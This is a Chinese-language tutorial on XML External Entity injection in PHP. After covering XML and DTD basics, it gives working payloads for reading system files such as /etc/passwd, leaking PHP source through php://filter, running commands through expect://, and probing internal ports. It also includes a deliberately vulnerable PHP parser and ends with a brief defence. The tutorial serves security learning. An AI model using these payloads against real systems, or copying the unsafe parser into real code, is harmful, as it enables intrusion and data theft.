XXE漏洞
1. XXE概述
XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
可以造成危害
XML基础介绍
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
下面我们主要介绍PHP语言下的XXE攻击.
基本结构
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT heading (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]>
<note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
DTD
文档类型定义(DTD)
可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
外部文档声明
1
| <!DOCTYPE 根元素 SYSTEM ”文件名”>
|
内部声明的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>KK</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
最外部引用的例子
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE note SYSTEM "waibu.dtd"> <note> <to>KK</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
waibu.DTD 被引用的内容为
1 2 3 4 5
| <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
|
漏洞原理
XXE 即 XML外部实体注入 。
我们先分别理解一下注入和外部实体的含义。
- 注入:是指
XML
数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
- 外部实体:则是指攻击者通过利用外部实体声明部分来对
XML
数据进行修改、插入恶意代码。
所以XXE
就是指XML
数据在传输过程中利用外部实体声明部分的“SYSTEM”
关键词导致XML
解析器可以从本地文件或者远程URI
中读取受保护的数据。
主流的漏洞payload
任意文件读取
1 2 3 4 5 6
| <?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY fff SYSTEM "file:///etc/passwd"> ]>
<hhh>&fff;</hhh>
|
命令执行
这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。
1 2 3 4 5 6
| <?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "expect://id"> ]>
<hhh>&f;<hhh>
|
SSRF内网探测
我们要根据返回信息内容判断该端口是否打开。
主要是根据报错信息的差异来判断是否生效
若测试端口返回“Connection refused”则可以知道该端口是关闭的,否则为就是打开的。
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY ssrf SYSTEM "http://192.168.246.136:80"> ]>
<reset> <login>&ssrf;</login> <secret>ssrf?</secret> </reset>
|
简单的测试代码
1 2 3 4 5
| <?php $data = isset($_POST['data'])?trim($_POST['data']):''; $xml = simplexml_load_string($data,"SimpleXMLElement",LIBXML_NOENT); var_dump($xml) ?>
|
注意:自己写个html提交表单把,我的环境是 win7+phpstudy
任意文件读取payload
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY content SYSTEM "file:///C:/Windows/win.ini"> ]> <note> <name>&content;</name> </note>
|

任意文件读取php文件payload
问题出在读代码地方,都有<>这种可能会把php文件当初xml给处理了,所以直接读取会直接报错。所以我们换一种协议,转化格式读取
最终可以导致源码泄露
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY content SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <note> <name>&content;</name> </note>
|

SSRF内网探测payload
这个报错信息根据环境的不同,协议的不同报错方式都不一样,所以到底这个有没有打开得自行遍历查看异同,和报错信息判断
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY content SYSTEM "http://127.0.0.1:3306"> ]> <note> <name>&content;</name> </note>
|
防御XXE攻击
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);